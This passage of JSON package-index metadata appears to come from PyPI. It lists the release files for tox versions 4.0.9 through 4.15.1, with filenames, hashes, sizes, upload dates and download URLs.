58.653060Z","url":"https://files.pythonhosted.org/packages/6d/9f/58c525594269b4bcb97fc7aa322e5522fc3e3116ab288522786b8101d0cc/tox-4.0.9.tar.gz","yanked":false,"yanked_reason":null}],"4.1.0":[{"comment_text":"","core-metadata":{"sha256":"cb26771218a3c9dfbaf022f35909896a382ad25fc09e1c0edcc2aaf834348afe"},"digests":{"blake2b_256":"dcc1ada23ad1c504f0fa62caea68f23c3a59c44a90d96f7f547fd24a76fec24f","md5":"92e3cecf84c7c767895687532f01d9ab","sha256":"78a6cb9c1dc09a051a0301dd4aadbae420a82eb85066513f5954e2455d19b61e"},"downloads":-1,"filename":"tox-4.1.0-py3-none-any.whl","has_sig":false,"md5_digest":"92e3cecf84c7c767895687532f01d9ab","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":144259,"upload_time":"2022-12-29T17:03:40","upload_time_iso_8601":"2022-12-29T17:03:40.360436Z","url":"https://files.pythonhosted.org/packages/dc/c1/ada23ad1c504f0fa62caea68f23c3a59c44a90d96f7f547fd24a76fec24f/tox-4.1.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"ebc76831965f66c9bd3234862787bbb8801384bcd1bdd9ce9c407a3b2dace840","md5":"45283691fff270ac040eca2e933e1986","sha256":"a8008a8e647465e284ec1575093918e78b01140b8fdf176504c3f5cc986dfb57"},"downloads":-1,"filename":"tox-4.1.0.tar.gz","has_sig":false,"md5_digest":"45283691fff270ac040eca2e933e1986","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":157278,"upload_time":"2022-12-29T17:03:41","upload_time_iso_8601":"2022-12-29T17:03:41.900100Z","url":"https://files.pythonhosted.org/packages/eb/c7/6831965f66c9bd3234862787bbb8801384bcd1bdd9ce9c407a3b2dace840/tox-4.1.0.tar.gz","yanked":false,"yanked_reason":null}],"4.1.1":[{"comment_text":"","core-metadata":{"sha256":"6f78aa87d111909c60b2e2b74fcea23d7db77685dbbc763570cd84fd916e6cc3"},"digests":{"blake2b_256":"164d15910506b98b6fbb10f19fe5e034dafa1c25a9aca19e036878489bfc4ce3","md5":"627c42be6ba61c873c1d236620b6fefd","sha256":"d6b9f9f77796fcb1260d46f12dd4d6ebcc16bb73e72f7a683421b365491a912e"},"downloads":-1,"filename":"tox-4.1.1-py3-none-any.whl","has_sig":false,"md5_digest":"627c42be6ba61c873c1d236620b6fefd","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":144289,"upload_time":"2022-12-29T23:45:16","upload_time_iso_8601":"2022-12-29T23:45:16.915754Z","url":"https://files.pythonhosted.org/packages/16/4d/15910506b98b6fbb10f19fe5e034dafa1c25a9aca19e036878489bfc4ce3/tox-4.1.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"8e8191bb3f010dfc6539c63e600c762369d4ef67432d00f69ea2dc50a1f3cd0b","md5":"7364a8a85da67dda75ea17fcdd737df5","sha256":"5d214ce3e480e3b2cce72dbc9e832296387e7311f76b70de4a649636d02e34c9"},"downloads":-1,"filename":"tox-4.1.1.tar.gz","has_sig":false,"md5_digest":"7364a8a85da67dda75ea17fcdd737df5","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":157353,"upload_time":"2022-12-29T23:45:18","upload_time_iso_8601":"2022-12-29T23:45:18.476939Z","url":"https://files.pythonhosted.org/packages/8e/81/91bb3f010dfc6539c63e600c762369d4ef67432d00f69ea2dc50a1f3cd0b/tox-4.1.1.tar.gz","yanked":false,"yanked_reason":null}],"4.1.2":[{"comment_text":"","core-metadata":{"sha256":"e1923d1b0faea60408dd15e341d6cd866f93fcd1e29f0034a44fd793ebfc2108"},"digests":{"blake2b_256":"6ba99ed82614baae2d3b66923a27fa331c2e4179bddf3277467f28090a829fbb","md5":"0db350811c24015dbcfe453d2e90fa10","sha256":"aa1c07530f07265d025d534715f5e8d522606db71568cf6acbf7eadc30a8d0ed"},"downloads":-1,"filename":"tox-4.1.2-py3-none-any.whl","has_sig":false,"md5_digest":"0db350811c24015dbcfe453d2e90fa10","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":145018,"upload_time":"2022-12-31T00:37:07","upload_time_iso_8601":"2022-12-31T00:37:07.751924Z","url":"https://files.pythonhosted.org/packages/6b/a9/9ed82614baae2d3b66923a27fa331c2e4179bddf3277467f28090a829fbb/tox-4.1.2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"6346281da99b9c25b666a13886ea358ff0264f24c6f1f5c18a850132326d77b5","md5":"fc25b66ff198574ea57658609651fe73","sha256":"3910e7ddf260de9004738a416f2efdbca21ad7f35d279f8a323117256696535f"},"downloads":-1,"filename":"tox-4.1.2.tar.gz","has_sig":false,"md5_digest":"fc25b66ff198574ea57658609651fe73","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":158622,"upload_time":"2022-12-31T00:37:09","upload_time_iso_8601":"2022-12-31T00:37:09.429728Z","url":"https://files.pythonhosted.org/packages/63/46/281da99b9c25b666a13886ea358ff0264f24c6f1f5c18a850132326d77b5/tox-4.1.2.tar.gz","yanked":false,"yanked_reason":null}],"4.1.3":[{"comment_text":"","core-metadata":{"sha256":"aa90239717c1a8aa0d7e671ecdfbfb2e4951f45f8860995f6692fb36354f7517"},"digests":{"blake2b_256":"8f6d33d2b9c3d2d0fbe73618c7553a73470968676cf3e4848bf05f571d45f310","md5":"075ed23e032e0c6f4846f43049153ece","sha256":"f1840b1698e5187d4c3bae4fe41332c2f3fedde3b6773474899f9e0b329a41dd"},"downloads":-1,"filename":"tox-4.1.3-py3-none-any.whl","has_sig":false,"md5_digest":"075ed23e032e0c6f4846f43049153ece","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":145098,"upload_time":"2023-01-02T20:29:23","upload_time_iso_8601":"2023-01-02T20:29:23.272365Z","url":"https://files.pythonhosted.org/packages/8f/6d/33d2b9c3d2d0fbe73618c7553a73470968676cf3e4848bf05f571d45f310/tox-4.1.3-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"561e67eff7f2cba6432e99f6ef9292927a2f9cfdd1e0c3d5c7c99f02be52923d","md5":"606edd9a34874aafe598e0d26eee6f66","sha256":"9976b41def48a5a2dce477de2c90c8231a5166829aaca916d0952ec4d7429f43"},"downloads":-1,"filename":"tox-4.1.3.tar.gz","has_sig":false,"md5_digest":"606edd9a34874aafe598e0d26eee6f66","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":158970,"upload_time":"2023-01-02T20:29:24","upload_time_iso_8601":"2023-01-02T20:29:24.920184Z","url":"https://files.pythonhosted.org/packages/56/1e/67eff7f2cba6432e99f6ef9292927a2f9cfdd1e0c3d5c7c99f02be52923d/tox-4.1.3.tar.gz","yanked":false,"yanked_reason":null}],"4.10.0":[{"comment_text":"","core-metadata":{"sha256":"90d9e0ceb22ac44d850296d4385904a722863af68d627ff23a79dacf53a1e590"},"digests":{"blake2b_256":"33f101c7deed64e464449e4cd4cfcd34ad9f9b766c55ad2c07b12f3f9cb7950a","md5":"e6121b2ed95be6323447c63b2dceff8d","sha256":"e4a1b1438955a6da548d69a52350054350cf6a126658c20943261c48ed6d4c92"},"downloads":-1,"filename":"tox-4.10.0-py3-none-any.whl","has_sig":false,"md5_digest":"e6121b2ed95be6323447c63b2dceff8d","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":153160,"upload_time":"2023-08-21T17:15:32","upload_time_iso_8601":"2023-08-21T17:15:32.375749Z","url":"https://files.pythonhosted.org/packages/33/f1/01c7deed64e464449e4cd4cfcd34ad9f9b766c55ad2c07b12f3f9cb7950a/tox-4.10.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"098e33dc3c5078db5ee7f0c452f353f00f0b77801d0b2acaf8c461a7e26e0705","md5":"5f79186cb7398450c4dd40dbc109fada","sha256":"e041b2165375be690aca0ec4d96360c6906451380520e4665bf274f66112be35"},"downloads":-1,"filename":"tox-4.10.0.tar.gz","has_sig":false,"md5_digest":"5f79186cb7398450c4dd40dbc109fada","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":174296,"upload_time":"2023-08-21T17:15:33","upload_time_iso_8601":"2023-08-21T17:15:33.991469Z","url":"https://files.pythonhosted.org/packages/09/8e/33dc3c5078db5ee7f0c452f353f00f0b77801d0b2acaf8c461a7e26e0705/tox-4.10.0.tar.gz","yanked":false,"yanked_reason":null}],"4.11.0":[{"comment_text":"","core-metadata":{"sha256":"4fe3776518bd1126a7bc43666416bcc720d900bd88dd65376b7e1acd9755c289"},"digests":{"blake2b_256":"d9ba203988c4d03ba315effdf75163aa1749c34ce990d6102845bcb10ae0a451","md5":"0c0567a7d46af0c9699e34723006793c","sha256":"7f7e5f1b20115560e610b9a11143bbcf48270ec3293f36c0a18be7b287c3b41f"},"downloads":-1,"filename":"tox-4.11.0-py3-none-any.whl","has_sig":false,"md5_digest":"0c0567a7d46af0c9699e34723006793c","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":153444,"upload_time":"2023-08-29T19:20:50","upload_time_iso_8601":"2023-08-29T19:20:50.945348Z","url":"https://files.pythonhosted.org/packages/d9/ba/203988c4d03ba315effdf75163aa1749c34ce990d6102845bcb10ae0a451/tox-4.11.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"5d4e75ae9a8c4d9f9180d543f1d1a1b8b120ca09e1922ddbe10c2dbd46ef64a8","md5":"d7a3b1b8ace83719b74205a8c52f59e3","sha256":"cc665e1e6b095f843b952ea5696f7a64bb64982aff62b62547ef171fa60e21eb"},"downloads":-1,"filename":"tox-4.11.0.tar.gz","has_sig":false,"md5_digest":"d7a3b1b8ace83719b74205a8c52f59e3","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":175086,"upload_time":"2023-08-29T19:20:53","upload_time_iso_8601":"2023-08-29T19:20:53.001629Z","url":"https://files.pythonhosted.org/packages/5d/4e/75ae9a8c4d9f9180d543f1d1a1b8b120ca09e1922ddbe10c2dbd46ef64a8/tox-4.11.0.tar.gz","yanked":false,"yanked_reason":null}],"4.11.1":[{"comment_text":"","core-metadata":{"sha256":"67b33eb04c7f8d7b373a130c0a9767198d6ca28fce27fdf83745bacde0b2c5c5"},"digests":{"blake2b_256":"d7d02e3ebb844591e66bd389007af9d759bc2af5a06ae415ab3dce55fc15ec2f","md5":"127a9d3fae61a0967f14ab6d59fd118f","sha256":"da761b4a57ee2b92b5ce39f48ff723fc42d185bf2af508effb683214efa662ea"},"downloads":-1,"filename":"tox-4.11.1-py3-none-any.whl","has_sig":false,"md5_digest":"127a9d3fae61a0967f14ab6d59fd118f","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":153534,"upload_time":"2023-09-01T19:00:55","upload_time_iso_8601":"2023-09-01T19:00:55.255848Z","url":"https://files.pythonhosted.org/packages/d7/d0/2e3ebb844591e66bd389007af9d759bc2af5a06ae415ab3dce55fc15ec2f/tox-4.11.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"340bf43fc757b71d631bcf56322620aed4e43b05ba0aebd24beeb4c1f3383639","md5":"16b46be40e2715fe8d89f8e343dffb70","sha256":"8a8cc94b7269f8e43dfc636eff2da4b33a199a4e575b5b086cc51aae24ac4262"},"downloads":-1,"filename":"tox-4.11.1.tar.gz","has_sig":false,"md5_digest":"16b46be40e2715fe8d89f8e343dffb70","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":175185,"upload_time":"2023-09-01T19:00:56","upload_time_iso_8601":"2023-09-01T19:00:56.903254Z","url":"https://files.pythonhosted.org/packages/34/0b/f43fc757b71d631bcf56322620aed4e43b05ba0aebd24beeb4c1f3383639/tox-4.11.1.tar.gz","yanked":false,"yanked_reason":null}],"4.11.2":[{"comment_text":"","core-metadata":{"sha256":"1dbfc2a99717846a633677496a05aa0d647afbae69900382ec9f28af2f69a0ed"},"digests":{"blake2b_256":"43c5d2353c1840a68aaa0264d08fa8f835130c51083cbaebdd1c5c9013702b69","md5":"4539683233a9690084173887d7e3613b","sha256":"91bff3220e808759a22b61524bbc8e657ebbc89ff6efde0a1c1372cac4cdf2b0"},"downloads":-1,"filename":"tox-4.11.2-py3-none-any.whl","has_sig":false,"md5_digest":"4539683233a9690084173887d7e3613b","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":153572,"upload_time":"2023-09-08T03:47:57","upload_time_iso_8601":"2023-09-08T03:47:57.187124Z","url":"https://files.pythonhosted.org/packages/43/c5/d2353c1840a68aaa0264d08fa8f835130c51083cbaebdd1c5c9013702b69/tox-4.11.2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"0a520bd31261d516687863c1738924546037d1f8784a7a3d936193270511d0a9","md5":"a41d74b586304309570a86f74ebc44ed","sha256":"0ad5c4b2d3d77a29dc5fb3ce01d55748aabc2972d306605da3d84b17729ce8df"},"downloads":-1,"filename":"tox-4.11.2.tar.gz","has_sig":false,"md5_digest":"a41d74b586304309570a86f74ebc44ed","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":175238,"upload_time":"2023-09-08T03:47:58","upload_time_iso_8601":"2023-09-08T03:47:58.827990Z","url":"https://files.pythonhosted.org/packages/0a/52/0bd31261d516687863c1738924546037d1f8784a7a3d936193270511d0a9/tox-4.11.2.tar.gz","yanked":false,"yanked_reason":null}],"4.11.3":[{"comment_text":"","core-metadata":{"sha256":"c2b47e0e4a61348138a4ef4bf5c5aa41e5f869431222053b565c968a4b9b5ae0"},"digests":{"blake2b_256":"f5f9963052e8b825645c54262dce7b7c88691505e3b9ee10a3e3667711eaaf21","md5":"5234c027480aef3ecf53988fa233d55a","sha256":"599af5e5bb0cad0148ac1558a0b66f8fff219ef88363483b8d92a81e4246f28f"},"downloads":-1,"filename":"tox-4.11.3-py3-none-any.whl","has_sig":false,"md5_digest":"5234c027480aef3ecf53988fa233d55a","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":153836,"upload_time":"2023-09-08T22:45:32","upload_time_iso_8601":"2023-09-08T22:45:32.878120Z","url":"https://files.pythonhosted.org/packages/f5/f9/963052e8b825645c54262dce7b7c88691505e3b9ee10a3e3667711eaaf21/tox-4.11.3-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"c9487744b1a3ebf2ae5e3bf6a23e8f9775476ae770061fa912db1c966a720fbf","md5":"6edbad16f33296cafae02523ce7e924a","sha256":"5039f68276461fae6a9452a3b2c7295798f00a0e92edcd9a3b78ba1a73577951"},"downloads":-1,"filename":"tox-4.11.3.tar.gz","has_sig":false,"md5_digest":"6edbad16f33296cafae02523ce7e924a","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":175528,"upload_time":"2023-09-08T22:45:35","upload_time_iso_8601":"2023-09-08T22:45:35.655804Z","url":"https://files.pythonhosted.org/packages/c9/48/7744b1a3ebf2ae5e3bf6a23e8f9775476ae770061fa912db1c966a720fbf/tox-4.11.3.tar.gz","yanked":false,"yanked_reason":null}],"4.11.4":[{"comment_text":"","core-metadata":{"sha256":"c0624faca6432d80a1024e5e653a33e49cf9fbc163c27be214bdfcb7303ebc27"},"digests":{"blake2b_256":"cd88de28a027acdb3a1b070a8acdff62bd23fdc23ce32acc7ac4b92b088979a4","md5":"b7c81aea0fba8266269cb6364cbf90bf","sha256":"2adb83d68f27116812b69aa36676a8d6a52249cb0d173649de0e7d0c2e3e7229"},"downloads":-1,"filename":"tox-4.11.4-py3-none-any.whl","has_sig":false,"md5_digest":"b7c81aea0fba8266269cb6364cbf90bf","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":153989,"upload_time":"2023-11-28T04:14:11","upload_time_iso_8601":"2023-11-28T04:14:11.956489Z","url":"https://files.pythonhosted.org/packages/cd/88/de28a027acdb3a1b070a8acdff62bd23fdc23ce32acc7ac4b92b088979a4/tox-4.11.4-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"1a78e9672163a341a557b6fb9f6723c771835c763c0de2bccc9f4abc29e0a4a2","md5":"12d181db768de00e6fa709ffd0fbd877","sha256":"73a7240778fabf305aeb05ab8ea26e575e042ab5a18d71d0ed13e343a51d6ce1"},"downloads":-1,"filename":"tox-4.11.4.tar.gz","has_sig":false,"md5_digest":"12d181db768de00e6fa709ffd0fbd877","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":176168,"upload_time":"2023-11-28T04:14:16","upload_time_iso_8601":"2023-11-28T04:14:16.034918Z","url":"https://files.pythonhosted.org/packages/1a/78/e9672163a341a557b6fb9f6723c771835c763c0de2bccc9f4abc29e0a4a2/tox-4.11.4.tar.gz","yanked":false,"yanked_reason":null}],"4.12.0":[{"comment_text":"","core-metadata":{"sha256":"7c795f3266094f7160a97c15e162b88e73d54600cf42a672a72d5c0d1293348b"},"digests":{"blake2b_256":"899525214c24c4dd5dfb94359cb14e7e6c2426227a0a5075dd380c795ec700e3","md5":"4aeb8dd5772917e916d00c7db83d4649","sha256":"c94bf5852ba41f3d9f1e3470ccf3390e0b7bdc938095be3cd96dce25ab5062a0"},"downloads":-1,"filename":"tox-4.12.0-py3-none-any.whl","has_sig":false,"md5_digest":"4aeb8dd5772917e916d00c7db83d4649","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":154450,"upload_time":"2024-01-12T02:03:48","upload_time_iso_8601":"2024-01-12T02:03:48.922696Z","url":"https://files.pythonhosted.org/packages/89/95/25214c24c4dd5dfb94359cb14e7e6c2426227a0a5075dd380c795ec700e3/tox-4.12.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"18fc01680767b408a51031fa9d9f19a87baefab172f60daf9597aea1d13d7fef","md5":"adb762af1a29ee5c60c9e7f37990891a","sha256":"76adc53a3baff7bde80d6ad7f63235735cfc5bc42e8cb6fccfbf62cb5ffd4d92"},"downloads":-1,"filename":"tox-4.12.0.tar.gz","has_sig":false,"md5_digest":"adb762af1a29ee5c60c9e7f37990891a","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":176784,"upload_time":"2024-01-12T02:03:52","upload_time_iso_8601":"2024-01-12T02:03:52.017407Z","url":"https://files.pythonhosted.org/packages/18/fc/01680767b408a51031fa9d9f19a87baefab172f60daf9597aea1d13d7fef/tox-4.12.0.tar.gz","yanked":false,"yanked_reason":null}],"4.12.1":[{"comment_text":"","core-metadata":{"sha256":"d2267007892aa2ff40a5fc499bed1fc1044ebb364baf245632636656f8e66738"},"digests":{"blake2b_256":"f05238a555b5d86be75ae198d4fc722b6581aa735a91ee260a4398fd9a1b7bf6","md5":"1028aacf93aaf407ea3b3193bd080dae","sha256":"c07ea797880a44f3c4f200ad88ad92b446b83079d4ccef89585df64cc574375c"},"downloads":-1,"filename":"tox-4.12.1-py3-none-any.whl","has_sig":false,"md5_digest":"1028aacf93aaf407ea3b3193bd080dae","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":154424,"upload_time":"2024-01-17T04:17:12","upload_time_iso_8601":"2024-01-17T04:17:12.493073Z","url":"https://files.pythonhosted.org/packages/f0/52/38a555b5d86be75ae198d4fc722b6581aa735a91ee260a4398fd9a1b7bf6/tox-4.12.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"0e7c6b4efc5a23ae3be645017edba2c9e83a65244f9ecf8775c99ed5b4d82acd","md5":"087c941116a58e4983d49e45ecedf7bd","sha256":"61aafbeff1bd8a5af84e54ef6e8402f53c6a6066d0782336171ddfbf5362122e"},"downloads":-1,"filename":"tox-4.12.1.tar.gz","has_sig":false,"md5_digest":"087c941116a58e4983d49e45ecedf7bd","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":176858,"upload_time":"2024-01-17T04:17:15","upload_time_iso_8601":"2024-01-17T04:17:15.589737Z","url":"https://files.pythonhosted.org/packages/0e/7c/6b4efc5a23ae3be645017edba2c9e83a65244f9ecf8775c99ed5b4d82acd/tox-4.12.1.tar.gz","yanked":false,"yanked_reason":null}],"4.13.0":[{"comment_text":"","core-metadata":{"sha256":"3e3cbdd0d9a9c8bfe6b2286ce9705de4bc02787f02b30ec812a7ccf626e03f0d"},"digests":{"blake2b_256":"141a19c783781c4638bc076f21c76c1c55d2a7bef7381b7c47911e1e65c6e340","md5":"3258987332975e81cba9192d35b5a4d6","sha256":"1143c7e2489c68026a55d3d4ae84c02c449f073b28e62f80e3e440a3b72a4afa"},"downloads":-1,"filename":"tox-4.13.0-py3-none-any.whl","has_sig":false,"md5_digest":"3258987332975e81cba9192d35b5a4d6","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":155015,"upload_time":"2024-02-17T00:49:48","upload_time_iso_8601":"2024-02-17T00:49:48.574759Z","url":"https://files.pythonhosted.org/packages/14/1a/19c783781c4638bc076f21c76c1c55d2a7bef7381b7c47911e1e65c6e340/tox-4.13.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"a3fa8db916f95eaddeb5fac771f403eb6b0d448e7e1a82a6a33f4827a456ddc1","md5":"616a647b64d28a3d51427e57204dfbd2","sha256":"dd789a554c16c4b532924ba393c92fc8991323c4b3d466712bfecc8c9b9f24f7"},"downloads":-1,"filename":"tox-4.13.0.tar.gz","has_sig":false,"md5_digest":"616a647b64d28a3d51427e57204dfbd2","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":177875,"upload_time":"2024-02-17T00:49:51","upload_time_iso_8601":"2024-02-17T00:49:51.630242Z","url":"https://files.pythonhosted.org/packages/a3/fa/8db916f95eaddeb5fac771f403eb6b0d448e7e1a82a6a33f4827a456ddc1/tox-4.13.0.tar.gz","yanked":false,"yanked_reason":null}],"4.14.0":[{"comment_text":"","core-metadata":{"sha256":"0dd39d9ad226300bd10d243dc571f74e55f0413c9070f0626f7c7671996aa331"},"digests":{"blake2b_256":"dd4857d7f9338669686e5f60794b2291684eb89e49bbf01f695bad651a14e4b5","md5":"ad3d0b1ed4dc8c0841fd7e3ae4f19ff0","sha256":"35976739e39e60e913bef4cf8226be64eb9eed6fdb9a44c6924265ebe11cbcae"},"downloads":-1,"filename":"tox-4.14.0-py3-none-any.whl","has_sig":false,"md5_digest":"ad3d0b1ed4dc8c0841fd7e3ae4f19ff0","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":155174,"upload_time":"2024-03-05T23:59:43","upload_time_iso_8601":"2024-03-05T23:59:43.027941Z","url":"https://files.pythonhosted.org/packages/dd/48/57d7f9338669686e5f60794b2291684eb89e49bbf01f695bad651a14e4b5/tox-4.14.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"cb8e4006a4bd75e735013f7abcbf6c4e7feefe246c2f8ad16944c4e2ce47847c","md5":"afc81dab5eee3b183ca9ec7e61e89ba9","sha256":"286807f8a581e55785dc30ff956a81583016625f6dd296948aa7a43001c1bb00"},"downloads":-1,"filename":"tox-4.14.0.tar.gz","has_sig":false,"md5_digest":"afc81dab5eee3b183ca9ec7e61e89ba9","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":178024,"upload_time":"2024-03-05T23:59:46","upload_time_iso_8601":"2024-03-05T23:59:46.045215Z","url":"https://files.pythonhosted.org/packages/cb/8e/4006a4bd75e735013f7abcbf6c4e7feefe246c2f8ad16944c4e2ce47847c/tox-4.14.0.tar.gz","yanked":false,"yanked_reason":null}],"4.14.1":[{"comment_text":"","core-metadata":{"sha256":"c61cd791aa4b92d063e49241d4fd0a8017c5b43975427d12bffac54f15cb0fc6"},"digests":{"blake2b_256":"ed4c4c7daf604fe4b136a1e25d41eb7cb2d644d1d8d4d6694eb6ffa7f7dd60cd","md5":"5f941bc1d595574b0d8dfbd0f7683b0a","sha256":"b03754b6ee6dadc70f2611da82b4ed8f625fcafd247e15d1d0cb056f90a06d3b"},"downloads":-1,"filename":"tox-4.14.1-py3-none-any.whl","has_sig":false,"md5_digest":"5f941bc1d595574b0d8dfbd0f7683b0a","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":155280,"upload_time":"2024-03-06T18:53:30","upload_time_iso_8601":"2024-03-06T18:53:30.695821Z","url":"https://files.pythonhosted.org/packages/ed/4c/4c7daf604fe4b136a1e25d41eb7cb2d644d1d8d4d6694eb6ffa7f7dd60cd/tox-4.14.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"d430bfba7e577ee7054b1d6112803db1435127c6a682f403ef693c1a49f9b8e1","md5":"deaca042dd534657c200a1891504cdd2","sha256":"f0ad758c3bbf7e237059c929d3595479363c3cdd5a06ac3e49d1dd020ffbee45"},"downloads":-1,"filename":"tox-4.14.1.tar.gz","has_sig":false,"md5_digest":"deaca042dd534657c200a1891504cdd2","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":178268,"upload_time":"2024-03-06T18:53:33","upload_time_iso_8601":"2024-03-06T18:53:33.441578Z","url":"https://files.pythonhosted.org/packages/d4/30/bfba7e577ee7054b1d6112803db1435127c6a682f403ef693c1a49f9b8e1/tox-4.14.1.tar.gz","yanked":false,"yanked_reason":null}],"4.14.2":[{"comment_text":"","core-metadata":{"sha256":"31c025208c14631b5599ebb71063c6a6ec1222674023f3df4533e25deb7d7387"},"digests":{"blake2b_256":"f67e496c1b338a9ef244a03a654fcb9e922c37a9c547d00e73f99f3a94ac838e","md5":"bf315458c01c599c854cd5b47240bdd1","sha256":"2900c4eb7b716af4a928a7fdc2ed248ad6575294ed7cfae2ea41203937422847"},"downloads":-1,"filename":"tox-4.14.2-py3-none-any.whl","has_sig":false,"md5_digest":"bf315458c01c599c854cd5b47240bdd1","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":155382,"upload_time":"2024-03-22T15:44:43","upload_time_iso_8601":"2024-03-22T15:44:43.079715Z","url":"https://files.pythonhosted.org/packages/f6/7e/496c1b338a9ef244a03a654fcb9e922c37a9c547d00e73f99f3a94ac838e/tox-4.14.2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"8fe298cbdadaa14d53b0f37ffcf4cbb1652ffb21f8b2f300e43f17167136af1c","md5":"faf559c2b38eb00928d0e106f716b96b","sha256":"0defb44f6dafd911b61788325741cc6b2e12ea71f987ac025ad4d649f1f1a104"},"downloads":-1,"filename":"tox-4.14.2.tar.gz","has_sig":false,"md5_digest":"faf559c2b38eb00928d0e106f716b96b","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":178515,"upload_time":"2024-03-22T15:44:45","upload_time_iso_8601":"2024-03-22T15:44:45.756613Z","url":"https://files.pythonhosted.org/packages/8f/e2/98cbdadaa14d53b0f37ffcf4cbb1652ffb21f8b2f300e43f17167136af1c/tox-4.14.2.tar.gz","yanked":false,"yanked_reason":null}],"4.15.0":[{"comment_text":"","core-metadata":{"sha256":"00944cd602218fed263388755ebc29cd6bdbe6541dd647c2a09091257b5df95f"},"digests":{"blake2b_256":"ad734cbb7411a915052b8fcf7bbe7d519eb6ecc6178f8e5094cd7e6874946d9d","md5":"62ea59f677b6ef63b96175bf4001e0e7","sha256":"300055f335d855b2ab1b12c5802de7f62a36d4fd53f30bd2835f6a201dda46ea"},"downloads":-1,"filename":"tox-4.15.0-py3-none-any.whl","has_sig":false,"md5_digest":"62ea59f677b6ef63b96175bf4001e0e7","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":155718,"upload_time":"2024-04-26T18:57:34","upload_time_iso_8601":"2024-04-26T18:57:34.721594Z","url":"https://files.pythonhosted.org/packages/ad/73/4cbb7411a915052b8fcf7bbe7d519eb6ecc6178f8e5094cd7e6874946d9d/tox-4.15.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"6350663321e437cc882c8bc438e814db848f2c54a887b178f8161aa2e2b912ad","md5":"2ebc06728afa511f486c205ed47440c5","sha256":"7a0beeef166fbe566f54f795b4906c31b428eddafc0102ac00d20998dd1933f6"},"downloads":-1,"filename":"tox-4.15.0.tar.gz","has_sig":false,"md5_digest":"2ebc06728afa511f486c205ed47440c5","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":179243,"upload_time":"2024-04-26T18:57:37","upload_time_iso_8601":"2024-04-26T18:57:37.747699Z","url":"https://files.pythonhosted.org/packages/63/50/663321e437cc882c8bc438e814db848f2c54a887b178f8161aa2e2b912ad/tox-4.15.0.tar.gz","yanked":false,"yanked_reason":null}],"4.15.1":[{"comment_text":"","core-metadata":{"sha256":"94d23ff711ae985edda1d391ba02bedc48cbf5c3f0928e5b40250cc6654a897a"},"digests":{"blake2b_256":"2f67285c5357df0c98a3475e9f5676b012f570d4326e71ed382428bbdbb03e92","md5":"9b7650d7144e59ff4cbb3c79ffd5755a","sha256":"f00a5dc4222b358e69694e47e3da0227ac41253509bca9f45aa8f012053e8d9d"},"downloads":-1,"filename":"tox-4.15.1-py3-none-any.whl","has_sig":false,"md5_digest":"9b7650d7144e59ff4cbb3c79ffd5755a","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":156007,"upload_time":"2024-06-06